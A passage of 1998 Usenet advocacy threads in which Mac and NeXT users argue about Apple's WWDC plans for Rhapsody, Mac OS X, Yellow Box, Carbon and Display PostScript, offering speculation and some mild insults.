> Because, most importantly, the reason why NeXT produced YB for Windows
> in the first place is exactly the same reason why Apple needs it --
> the market is so small that an insufficient number of developers are
> willing to develop solely for it.
They why keep YellowBox? They've got a de-crufted Mac API on the way, and have a
Unix underpinning. Why not junk YellowBox and just stick with Mac API?
It's been admitted that no one was swayed to move TO YellowBox. And given Apple
cuts 'money loosing' projects, YellowBox looks like a target.
Now, get Yellowbox committed to NT 5.x, See a committment to Win98, and see some
OTHER PUBLIC YellowBox committments, then its less likely to be bumped. A much
more PUBLIC target. Apple was quiet about the Newton b4 it was axed. Not even
mentioning YellowBox at the keynote is far too quiet for a key technology.
As Steve Jobs said "Rhapsody WAS great technology. But it wasn't enough"
I'll go on record that if you don't see some form of formal cross-platform
statement about YellowBox b4 this WWDC is over, YellowBox will be cut back to
just MacOS, and the cross-platform option will die off with NT 5.x
From: freek@phil.uu.nl (Freek Wiedijk)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 14 May 1998 11:21:51 +0200
Organization: Department of Philosophy, Utrecht University, The Netherlands
Message-ID: <6jed3f$kfa$1@larry.admin.phil.uu.nl>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu> <Esu3v3.365@micmac.com> <see-below-1205981743380001@209.24.240.213> <EsvyFs.7qK@micmac.com> <6jco3t$6ns$3@msunews.cl.msu.edu> <6jd1ov$1a3$1@xmission.xmission.com>
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Kristofer:
>: Any hint of this and Apple has lost a developer and a User.
>
>Sticking with Rhapsody on Intel could mean keeping an entire
>group of users at my company, around 120 writers and
>engineers.
They probably lost _us_ (my site, that is.) We were betting
on Rhapsody to show that Apple could still innovate and
deliver. Our management gave us to January 1999. Ah well,
time to learn something about Windows NT (or to start looking
for a new job :-))
Freek
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Wed, 13 May 1998 15:37:24 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R1305981537240001@news>
References: <andyba-ya02408000R1205981228550001@news> <6jafbi$hbb$1@larry.admin.phil.uu.nl>
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In article <6jafbi$hbb$1@larry.admin.phil.uu.nl>, freek@phil.uu.nl (Freek
Wiedijk) wrote:
> Okay, okay, I surrender. Maybe it will be like you say.
> It's still too hybrid to my taste _(and_ MacOS _and_ the 68k
> emulator _and_ Mach _and_ BSD _and_ DPS _and_ NeXTstep _and_
> the yellow box _and_ Carbon _and_ whatever Apple adds between
> now and next year), but, well, _maybe_ it will be a nice,
> non-top-heavy system.
Nope, no 68K emulator.
Andy Bates.
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Wed, 13 May 1998 15:57:57 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R1305981557570001@news>
References: <1d8xsi0.kqhkhi73wgzsN@cetus181.wco.com> <B17E9FBD-6212E@206.165.43.165>
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In article <B17E9FBD-6212E@206.165.43.165>, "Lawson English"
<english@primenet.com> wrote:
> And Apple was saying how GX isn't used in by enough developers and users to
> jusitify its use in Carbon? How does Apple justify using DPS in Yellow Box,
> then?
Because keeping DPS in the Yellow Box doesn't affect backwards compatibility.
Andy Bates.
From: nospam@deleteyou.net (Robin)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OSX - What I See vs What I Want
Date: Wed, 13 May 1998 15:44:23 -0800
Organization: None
Message-ID: <nospam-1305981544240001@pool002-max3.ds12-ca-us.dialup.earthlink.net>
References: <forrestDELETE-THIS!-1205981303210001@term4-3.vta.west.net> <6javob$tpe$1@reader1.reader.news.ozemail.net> <35590EE4.9858E645@unet.univie.ac.at> <rkt1-1305981646450001@cu-dialup-0423.cit.cornell.edu> <355A14F6.3A0CD0CB@unet.univie.ac.at>
In article <355A14F6.3A0CD0CB@unet.univie.ac.at>, Christian Benesch
<a9226931@unet.univie.ac.at> wrote:
> 3 Unix reasons:
> Stability
> Stability
> Stability
No longer much of an issue since 7.6.1.
>
> And this will help elementary schools and graphic artists and everyone
else, even
> though they will never open a UNIX shell window.
Maybe. What about troubleshooting and maintenance? If it can be done
without shell windows and CLIs, fine. If not, then it is too much hassle
of a fix for a diminishing problem (instability). BTW, I have not had a
single crash since December with MacOS 8.1
Morbius
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Wed, 13 May 1998 15:55:45 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R1305981555450001@news>
References: <ericb-1105981718430001@132.236.171.104> <6j9egu$19r$1@crib.bevc.blacksburg.va.us> <mcasse-2708561359510001@line8047.ras.ilstu.edu> <1d8xsi0.kqhkhi73wgzsN@cetus181.wco.com> <6jbg5p$3fg$1@crib.bevc.blacksburg.va.us>
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In article <6jbg5p$3fg$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
> In article <1d8xsi0.kqhkhi73wgzsN@cetus181.wco.com>, mpaque@wco.com (Mike
Paquette) wrote:
>
> > Matt Casselman <mcasse@rs6000.cmp.ilstu.edu> wrote:
>
> > > MacOS will have TWO, count them two, APIs: Carbon (MacOS) and Yellow Box
> > > (NeXT). MacOS X is macOS on Mach.
>
> > And now you know how we get the Yellow Box on MacOS. :-)
>
> Yeah, but will there be Yellow Box on pre-OS X MacOS for those who don't
> or can't upgrade to OS X?
Yep. It's called Rhapsody. Maybe you've heard about it.
Andy Bates.
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Thu, 14 May 1998 00:37:15 -0700
Message-ID: <see-below-1405980037160001@209.24.241.190>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <B17CAD54-99FF@206.165.43.2> <ericb-1105981902130001@132.236.171.104> <3557A1DE.17A6@earthlink.net> <bPZ51.1916$sy4.3331778@news.rdc1.sdca.home.com> <35586023.305658D1@milestonerdl.com> <ry_51.1921$sy4.3355491@news.rdc1.sdca.home.com> <35586AD9.C2C2FFB0@milestonerdl.com> <%D%51.1927$sy4.3384960@news.rdc1.sdca.home.com> <35588453.6DD10BC8@milestonerdl.com> <see-below-1205981905160001@209.24.240.213> <6jchjg$9nl$1@interport.net> <6jcqdt$rkr@nntp02.primenet.com> <nagleEsxEDn.2M6@netcom.com>
In article <nagleEsxEDn.2M6@netcom.com>, nagle@netcom.com (John Nagle) wrote:
> Incidentally, what 3D strategy is Apple pushing this week?
> QuickDraw 3D? OpenGL? Direct-3D?
None, but I'm hearing rumors of a deal wherein Apple gives SGI full access
to QuickTime technologies in exchange for help with OpenGL...
I assume that OpenGL will be the future 3D API for Rhapsody etc., but the
deal hasn't been done yet/not ready to announce, or whatever.
I also assume they'll still have some high-level QuickDraw3D functionality
as part of the QuickTime media layer, which could primarily sit on top of
OpenGL, but could still use whatever plug-in renderer you prefer. It could
also be very nice for integration with VRML.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
From: phenix@interpath.com (John Moreno)
Message-ID: <1d8z55p.vwwxef1p1uvo1N@roxboro0-057.dyn.interpath.net>
References: <B17C8D50-7E886@206.165.43.134> <35573831.69E8CDC6@milestonerdl.com> <rex-1105981539090001@192.168.0.3> <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <B17CAD54-99FF@206.165.43.2> <ericb-1105981902130001@132.236.171.104> <3557A1DE.17A6@earthlink.net> <bPZ51.1916$sy4.3331778@news.rdc1.sdca.home.com> <35586023.305658D1@milestonerdl.com> <ry_51.1921$sy4.3355491@news.rdc1.sdca.home.com> <35586AD9.C2C2FFB0@milestonerdl.com> <%D%51.1927$sy4.3384960@news.rdc1.sdca.home.com> <35588453.6DD10BC8@milestonerdl.com> <see-below-1205981905160001@209.24.240.213>
Organization: phenix@interpath.com
?'D1cB]L9V=\OS(\8S,5
Mail-Copies-To: never
Date: Wed, 13 May 1998 19:58:08 GMT
NNTP-Posting-Date: Wed, 13 May 1998 12:58:08 PDT
In comp.sys.mac.programmer.misc Matthew Vaughan
<see-below@not-my-address.com> wrote:
> In article <35588453.6DD10BC8@milestonerdl.com>, mark@milestonerdl.com wrote:
>
> > Rex Riley wrote:
> >
> > > What's real interesting?
> >
> > What?
> >
> > > Nobody is picking up on the backstory that no Mac Developer's deemed
> > > the Mac marketplace worthy of a "new" application or a "rewrite" to
> > > Rhapsody.
> >
> > Ouch! That's as good as the Carbon was created to support Microsoft.
>
> But how do you explain the tepid support for Yellow Box among Mac
> developers, and their enthusiastic endorsement of Carbon?
Tepid support for YB is easy to explain:
OpenDoc
QDGX
PowerTalk
Copland
.
.
.
The developers who are waiting (and that's not all of them, there are
some that aren't) are waiting for it to be killed off and/or changed
into something else.
--
John Moreno
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Wed, 13 May 1998 15:46:30 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R1305981546300001@news>
References: <ericb-1105981718430001@132.236.171.104> <6j7t4a$v9r$1@crib.bevc.blacksburg.va.us> <markeaton-1105982335100001@209.86.154.31> <nagleEsvKot.1Hn@netcom.com>
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In article <nagleEsvKot.1Hn@netcom.com>, nagle@netcom.com (John Nagle) wrote:
> markeaton@mindspring.canned-meat-filter.com (Mark Eaton) writes:
> >In article <6j7t4a$v9r$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
> >> Why are you skeptical of MacOS X's shipping date?
>
> Because it's an Apple OS announcement. Look at their track record.
Mac OS 7.6: on time. Mac OS 8.0 (Harmony, not Copland): on time. Rhapsody
Blue Box: early. Mac OS 8.1: on time.
What's the problem?
Andy Bates.
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Wed, 13 May 1998 16:04:58 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R1305981604580001@news>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <pulsar-ya02408000R1205981246010001@news-proxy.cso.uiuc.edu> <3559A517.5562EE28@sys.uea.ac.uk>
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In article <3559A517.5562EE28@sys.uea.ac.uk>, Ralph Elliott
<re@sys.uea.ac.uk> wrote:
> Pulsar wrote:
>
> > Repeate after me:
> >
> > Mac OS X is Rhapsody renamed.
> > Mac OS X is Rhapsody renamed.
> > Mac OS X is Rhapsody renamed.
> > Mac OS X is Rhapsody renamed.
> >
>
> Repeat it if you like, but that won't stop it being, at best, a half-truth.
> "Rhapsody" -- according to Apple's great pitch to developers at WWDC 97
-- denotes
> a system which is (was?) to be made available on Intel systems. There's no
> indication that this is so for Mac OS X -- indeed rather the opposite.
Why would you need backwards-compatibility for Mac applications on Intel?
You don't. Mac OS X is Rhapsody for PPC + Carbon. Rhapsody for Intel is
still Rhapsody for Intel.
Andy Bates.
From: Henry McGilton <henry@trilithon.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple Dumps Display Postscript in Rhapsody
Date: Wed, 13 May 1998 11:20:09 -0700
Organization: Trilithon Research and Trading
Message-ID: <3559E459.6B0178B4@trilithon.com>
References: <_La61.80$5g3.847607@news.rdc1.sfba.home.com>
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akira@home.com wrote:
* Today (Tuesday) at the Yellowbox Appkit meeting, the
* Apple people announced that they would be getting rid
* of DPS. Well, not quite, but close enough.
* What they said is that they will be keeping the DPS
* imaging model, but will/may be getting rid of the
* Postscript language layer. In essence, no more PS...()
* calls, and no more pswraps. Personally, since I've put a lot
* of work into some highly specialized PS code, I was very
* not pleased. On Thursday, there will be a session on the
* future of the graphics system where I expect them to
* explain this move.
I will conjecture that they will, as you said, keep the imaging
model [which after all contains huge support for various
colour models and excellent halftoning], and reduce the PostScript
language to a declarative language along the lines of PGML.
........ Henry
=============================================================
Henry McGilton | Trilithon Software, and,
Boulevardier, Java Composer | Pacific Research and Trading
-----------------------------+-------------------------------
mailto:henry@trilithon.com | http://www.trilithon.com
=============================================================
From: jwilker@wesweb.com (John T. Wilker)
Newsgroups: comp.sys.mac.portables,comp.sys.mac.hardware,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple Should GET A GOOD LOW END POWERBOOK!!
Date: Wed, 13 May 1998 18:13:01 GMT
Organization: Delta Internet Services, Inc.
Message-ID: <3559e232.11448506@100.100.100.1>
References: <6it738$ceg$1@newsfep4.sprintmail.com> <Barry-ya02408000R0705982252550001@nntp.netgate.net> <6ivef6$ntb$1@newsfep2.sprintmail.com> <6ivm1r$9un$1@larry.admin.phil.uu.nl> <joe.ragosta-0905981301430001@elk37.dol.net> <SnowSim-1105980159280001@blv-ux100-ip3.nwnexus.net> <6j9488$e9u$1@reader1.reader.news.ozemail.net> <3558CA19.693D@sympatico.ca>
I've not heard much about the Imac but one thing I know with certainty
is that powerbooks and for that matter all mac systems cost way way
too much money. I've been reading about the new Wall Street's and
those things cost way to much money. Granted they are fast and very
awesome but for that kind of sticker price I expect a car, not a
notebook.
On Tue, 12 May 1998 21:15:38 GMT, Pete Casso
<petecassostein@sympatico.ca> wrote:
>> Do you think the iMac would sell well at $1299? I think it would sell
>> as well as any of their regular stuff (or better) - so it'll keep their
>> production line running at capacity right?
>
>Related thought: will the regular G3/233MHz drop to those price levels
>(or lower, because of no monitor) as well by the time iMac ships in
>August? Any opinions? Buy a G3 now or wait until August?
>
>Pete
Message-ID: <3559E8A4.D846B040@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
References: <ericb-1105981718430001@132.236.171.104> <6j8brs$l3$1@news.idiom.com>
<355870F1.958B696D@spamtoNull.com> <6ja5uf$k4$2@news.idiom.com>
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Date: Wed, 13 May 1998 18:34:57 GMT
NNTP-Posting-Date: Wed, 13 May 1998 14:34:57 EDT
John C. Randolph wrote:
>
> Jonathan Harker may or may not have said:
> -> John C. Randolph wrote:
> -> >
> -> >
> -> > Speaking as a NeXT hacker, I'm not worried about it.
> ->
> -> As you won't see it for quite awhile, I wouldn't worry either. By that
> -> time, it will be something else, anyway, so what's the point of worry?
>
> I'm seeing it right now, sport. If you want to see it, register as a
> developer. The OpenStep APIs are right there in Rhapsody, we've had no
> indication that they're going away, and in the transition from OpenStep 4.2
> to RDR 1, we picked up a bunch of new classes.
>
> Like I said, I'm not worried about it. Apple can change the names to their
> heart's content.
>
I'm extremely impressed, "sport," that you are seeing something that
Jobs just announced would ready to ship in about two years. But of
course it's certain that nothing whatever will change in two years,
hence your thoughtful "I'm seeing it right now" remarks. The fact that
you are running *something* that may bear scant resemblance to the
finshed product, should it ever be finished, seems lost on you. I'll
check back with you in Q3 '99 and we'll compare notes. By then the name
will have been changed again and the date rolled back another two years.
Can I count on you to produce the "I'm seeing it right now, sport" line
again? I hope so....:)
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Thu, 14 May 1998 01:43:12 +0100
Organization: EarthLink Network, Inc.
Message-ID: <355A3E1D.4E12@earthlink.net>
References: <ericb-1105981718430001@132.236.171.104> <6j9egu$19r$1@crib.bevc.blacksburg.va.us> <6j9lrd$gl7$1@larry.admin.phil.uu.nl> <slrn6lgo9c.l2e.sal@panix3.panix.com> <6jcf2d$iu2@newsb.netnews.att.com>
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gupta@kcopsrm.tm.tta.moc-mirror, after, @ wrote:
> Later, Warnock wrote "....We have not asked Apple to compromise
> the Yellow Box. The last thing we want is to move backwards.
> There are some things Apple could do to make the porting job
> much easier for all application developers. These changes would
> optimize their chance of success."
>
> *******************************
>
> Well, Apple is promising to deliver on this -- i.e., Carbon.
> What is everybody's problem ?
>
> -arun gupta
Exactly!
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: WWDC according to New York Times
Date: Thu, 14 May 1998 01:40:01 +0100
Organization: EarthLink Network, Inc.
Message-ID: <355A3D5E.450@earthlink.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <stone-ya02408000R0505980240210001@news.enetis.net> <6inoup$ejt$1@gte2.gte.net> <rmcassid-0505981303570001@dante.eng.uci.edu> <6ir7ua$14g$1@nnrp1.dejanews.com> <rmcassid-0705980005120001@dialin33419.slip.uci.edu> <6ivv73$38k$1@nnrp1.dejanews.com> <rmcassid-0905981831450001@dialin9013.slip.uci.edu> <6j4gep$l28$1@nnrp1.dejanews.com> <rmcassid-1105981238190001@dante.eng.uci.edu> <6j8umq$qvn@chile.earthlink.net> <IfW51.1190$0A <Esvyz0.5CK@AWT.NL>
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To: Gerben Wierda <G.C.Th.Wierda@AWT.nl>
I completely agree.
Steve
Gerben Wierda wrote:
> >Steve Kellener <skellener@earthlink.net> wrote:
> >NY Times has it's head up it's ass.
>
> While this may be true. Apple needs to correct this image ASAP. Because it
> depicts them as clueless, directionless and wandering about. That spells "no
> trust" and that hurts sales.
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Thu, 14 May 1998 01:41:42 +0100
Organization: EarthLink Network, Inc.
Message-ID: <355A3DC4.6D98@earthlink.net>
References: <6il7fp$smu$1@news.digifix.com> <B173DA2F-4EC79@207.217.155.139> <joe.ragosta-0505980801340001@wil129.dol.net> <355876CC.F3A3A297@Eng.Sun.COM> <6jc5e0$muf$1@nnrp1.dejanews.com>
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JOHN LEE <john.s.lee@Eng.Sun.COM> wrote:
> Rhapsody will NEVER go mainstream, it is cancelled. Just like I said
> months ago it would be!
What an idiot.
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 13 May 1998 11:57:01 -0700
Organization: Primenet (602)416-7000
Message-ID: <6jcqdt$rkr@nntp02.primenet.com>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <B17CAD54-99FF@206.165.43.2> <ericb-1105981902130001@132.236.171.104> <3557A1DE.17A6@earthlink.net> <bPZ51.1916$sy4.3331778@news.rdc1.sdca.home.com>
<35586023.305658D1@milestonerdl.com> <ry_51.1921$sy4.3355491@news.rdc1.sdca.home.com> <35586AD9.C2C2FFB0@milestonerdl.com> <%D%51.1927$sy4.3384960@news.rdc1.sdca.home.com> <35588453.6DD10BC8@milestonerdl.com> <see-below-1205981905160001@209.24.240.213>
<6jchjg$9nl$1@interport.net>
float@interport.net wrote:
: Matthew Vaughan (see-below@not-my-address.com) wrote:
: : But how do you explain the tepid support for Yellow Box among Mac
: : developers, and their enthusiastic endorsement of Carbon?
: Their attachment to their existing code base and expertise in the MacOS
: API is understandably strong. Learning to code for Yellow Box would
: require them to feel stupid again, a lot of people aren't willing to do
: this.
Learning a new system and feeling stupid again, and doing it again every
couple years, is the only way to keep from calcifying.
John
From: holger@object-factory.REMOVETHIS.com (Holger Hoffstaette)
Newsgroups: comp.sys.next.advocacy
Subject: Re: OpenStep for Windoze $20?
Date: 14 May 1998 09:40:15 GMT
Organization: the unstoppable code machine
Message-ID: <6jee5v$job$1@leonie.object-factory.com>
References: <6jboq5$eua$9@news.idiom.com> <6jchqg$1cc$21@ironhorse.plsys.co.uk>
<slrn6ljskk.p80.sal@panix3.panix.com> <3559F5D4.96E43F72@unet.univie.ac.at>
<slrn6lkdcp.o39.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6jdenk$53h$3@news.xmission.com>
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Don Yacktman wrote:
> The real irony is that his app is so _totally_ mission critical; these
people
> need it on their machines. And they balk anyway. Doh! One of the
Rockwell
> VPs apparently thinks very highly of the app. If you saw it, you would
****
> in your pants, it is _so_ cool. I really hope they productize and sell the
> more generic aspects of the app.
What does it do, and why is it so kewl? (from a geek POV ;)
> > In that world, applications have to be be just like "ordinary Windows
> > programs". Merely even having a separate name that end-users have to
know
> > about adds encourages way too much angst.
> >
> > YB for Windows shouldn't even have an identifiable name in the Windows
> > user's universe.
Simple solution - and a hint to Apple: simply make the YB installer spew
YB stuff all over the \Win\System directory! Completely compatible with
the rest of the scrap heap, and acts like a good Windhose citizen,
too! 8-)
Holger
--
Object Architect, Object Factory GmbH | It's like a jungle sometimes,
@work: holger"at"object-factory.com | it makes me wonder
@home: hhoff"at"ragnarok.en.uunet.de | how I keep from going under
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Tue, 12 May 1998 23:34:35 -0800
Organization: UC Irvine
Message-ID: <rmcassid-1205982334360001@dialin33423.slip.uci.edu>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <B17CAD54-99FF@206.165.43.2> <ericb-1105981902130001@132.236.171.104> <3557A1DE.17A6@earthlink.net> <bPZ51.1916$sy4.3331778@news.rdc1.sdca.home.com> <35586023.305658D1@milestonerdl.com> <ry_51.1921$sy4.3355491@news.rdc1.sdca.home.com> <35586AD9.C2C2FFB0@milestonerdl.com> <see-below-1205981903320001@209.24.240.213> <3559033D.89CD88D5@milestonerdl.com> <2s961.2078$sy4.3718097@news.rdc1.sdca.home.com>
In article <2s961.2078$sy4.3718097@news.rdc1.sdca.home.com>,
rr6013@yahoo.com wrote:
> I've learned abit in the last 4 hours on Apple's software strategy. The
> product roadmap changes are healthier. I'll share my reasons:
How clear/reliable was this information?
> Rhapsody, BSDstyle, is staying as Apple's "multi-user" server product.
> Rhapsody,Macstyle, is Apple's single-user desktop called MacOS X.
So Steve then gives us 3 OS's - Rhapsody, OSX, and OS8. He clearly stated
that OS8 would stay around for older users and pointed to Sonata sitting
out there in Q3 1999. He also made no mention of Rhapsody versions in
1999. It appeared that Rhapsody would transition to OSX. Steve also stated
this fairly clearly in the interview later. Of course, it could all be
product wording and he could be hiding Rhapsody versions beyond 1.0 from
us. This is what was presented in the keynote.
Rhapsody, Macstyle, would then be a limited Rhapsody. Call it a client
form of Rhapsody then. But unless Apple is going to hunk out all BSDisms
or rewrite huge chunks of the MacOS to be reentrant (we know from our
Copland experience what is and is not) then it really is going to have to
be BSD down there deep inside. Maybe we won't have a command line, but its
gonna have to be down there.
Furthermore, we know that Quickdraw (among others) is not reentrant and
not likely to be (for all of those reasons that were demonstrated in the
Copland days) unless Avie and crew is considerably smarter than the
Copland crowd. They may well be, and have had more time to make progress,
but it seems wasteful of time to pursue this.
Instead, wouldn't extending Lattitude to embrace more of the MacOS APIs
and simply turning off the multi-userisms to make consumer support easier
be the better balance of energies? If so, MacOS X should be damn close to
Rhapsody+BSD, but not a replacement for it. So we have a MacOS X (Single
user Rhapsody + Carbon) and a MacOS X Server (Multi user Rhapsody +
Carbon). Furthermore, Carbon apps should be cross-platform but not the
BlueBox and so Apple can still claim that MacOS X won't be cross platform,
even though as far as most of us care, it probably will be. But Apple can
keep all that cross-platform malarky close to their chest because MS
shouldn't know about it and nobody belives it's possible anyway, even
though it could very well be possible.
So MacOS X doesn't sound exactly like Rhapsody, but pretty close. Rhapsody
is dead according to Steve, yet it isn't. I don't like that. MacOS X isn't
cross-platform, yet Apple says that they are still pursuing
cross-platform. I don't like that either.
The notion that MacOS X is MacOS on Mach seems clearly wrong. MacOS on
Mach == Copland. We all know that aint gonna happen. Everything in
OpenStep reeked of good design - Copland had a whole other aroma...
> This gives everyone "options" where before there were few. Options are
good.
> It sets the stage for a tiered product line. It clearly delineates the roles
> the products will meet in the marketplace and technology space. Gaps in a
> complete product line deliniate along consumer/commercial lines with
> sub-categories for Standard - Pro differentiation. This is an easily
> deciphered Industry Standard product line staging. Customer's won't be
> confused!
So is MacOS 8 the consumer, and MacOS X the commercial/standard and
Rhapsody the commerical/pro? That doesn't exactly jive with Steveo's
little timeline and wording, but he's a funky guy. I still want to see it
spelled out.
> There are tons of questions and irrefutable Costs to get to market... but it
> buys "pipeline", "time" "options", "homogeneity", "clarity" and
"architecture"
> lacking previously.
Well, I wouldn't give them 'clarity' just yet - the RDF has some lingering
side effects this week... Maybe he had a cheeseburger on Sunday and his
RDF transformer got hosed.
The concept is good, but cross-platform seems to be in the most dire spot
this week. On the other hand, if Carbon delivered MacOS apps able to be
recompiled cross-platform and Steve sprung that at WWDC next year along
with Merced support and other goodies, it might be worth a year of doubt.
-Bob Cassidy
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Thu, 14 May 1998 01:46:18 +0100
Organization: EarthLink Network, Inc.
Message-ID: <355A3ED7.23C8@earthlink.net>
References: <6jbs69$1cc$15@ironhorse.plsys.co.uk> <B17F2918-23167@207.217.155.161>
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Yup!
Steve
Brad Hutchings wrote:
>
> mmalc wrote:
>
> >b) Yes, you're absolutely right. Jobs (with his team) has found a way to
> >pull the wool over people's eyes so Apple can serve up Rhapsody so that it
> is
> >palatable to the traditional Mac users and developers so they feel like
> first
> >class citizens again, rather than facing life in a "compatibility
> >environment".
>
> I think mmalc gets it...
>
> Brad
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Thu, 14 May 1998 01:51:09 +0100
Organization: EarthLink Network, Inc.
Message-ID: <355A3FF8.3046@earthlink.net>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <3558726E.E5C7C92D@no-spam.lmco.com> <6ja6ji$k4$3@news.idiom.com> <stevehix-1205981657110001@ip21.safemail.com> <3559EE8C.82C5FB0A@spamtoNull.com>
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My guess is that it will most likely become Q1 2000 and debut at
Macworld S.F.
Jonathan Harker wrote:
>
> Steve Hix wrote:
>
> >
> > MacOS X is Rhapsody, with MacOS support a good deal better than the ol'
> > Blue Box. It's just that it finally has a real product name.
>
> And could it be a "final release date", too? Q3 1999?
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Thu, 14 May 1998 01:57:46 +0100
Organization: EarthLink Network, Inc.
Message-ID: <355A4185.4135@earthlink.net>
References: <6jbg4l$qi3$2@canopus.cc.umanitoba.ca> <6jcn9b$6ns$2@msunews.cl.msu.edu> <3559DA0F.8F00D835@milestonerdl.com>
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M Rassbach wrote:
> Adobe has a cross-platform product for Windows. To get them on YellowBox,
> you need to offer more.
>
> More like OpenSTEP's Solaris/HP-UX under YellowBox and a newer market of
> Linux. With newer markets, Adobe might make the jump.
Yes, Yes!! Add Alpha NT and Merced in there too! YB for everyone!!
Steve
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Thu, 14 May 1998 06:12:01 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355AD181.3D3B77B7@milestonerdl.com>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <35593b48.6388203@198.0.0.100> <andyba-ya02408000R1205981051430001@news> <6jagk8$sol$1@xmission.xmission.com> <andyba-ya02408000R1305981540240001@news> <6jda1o$lf$1@xmission.xmission.com> <see-below-1305982118340001@209.24.241.190>
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Matthew Vaughan wrote:
> I> It looks like the Yellow Box on Windows will live, but word about an Apple
> > OS on Intel has been conspiciously absent during this event.
>
> That is true. But I think it will still be there. But for the time being,
> it will only be targeted at current OpenStep users, servers, and certain
> custom workstation installations (ie, publishing systems).
Then the long-term Intel-based YellowBox *IS* speculation.
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OSX - What I See vs What I Want
Date: Wed, 13 May 1998 10:43:09 -0700
Organization: UC Irvine
Message-ID: <rmcassid-1305981043090001@dante.eng.uci.edu>
References: <forrestDELETE-THIS!-1205981303210001@term4-3.vta.west.net> <6javob$tpe$1@reader1.reader.news.ozemail.net> <35590EE4.9858E645@unet.univie.ac.at> <35597958.2ED785AD@milestonerdl.com>
In article <35597958.2ED785AD@milestonerdl.com>, mark@milestonerdl.com wrote:
>Christian Benesch wrote:
>
>> Is there really such a Unix-phobia in the Mac-community?
>
>Yup. There is. They are 'comfotable' with 'MacOS'
Well, if you consider that MacOS X could very likely wind up being the OS
my mom uses in 3 years, the question becomes: Can you ensure that she will
never, ever have to see the command line regardless of what kind of
routine nastiness should occur to the system? If the answer is no, then
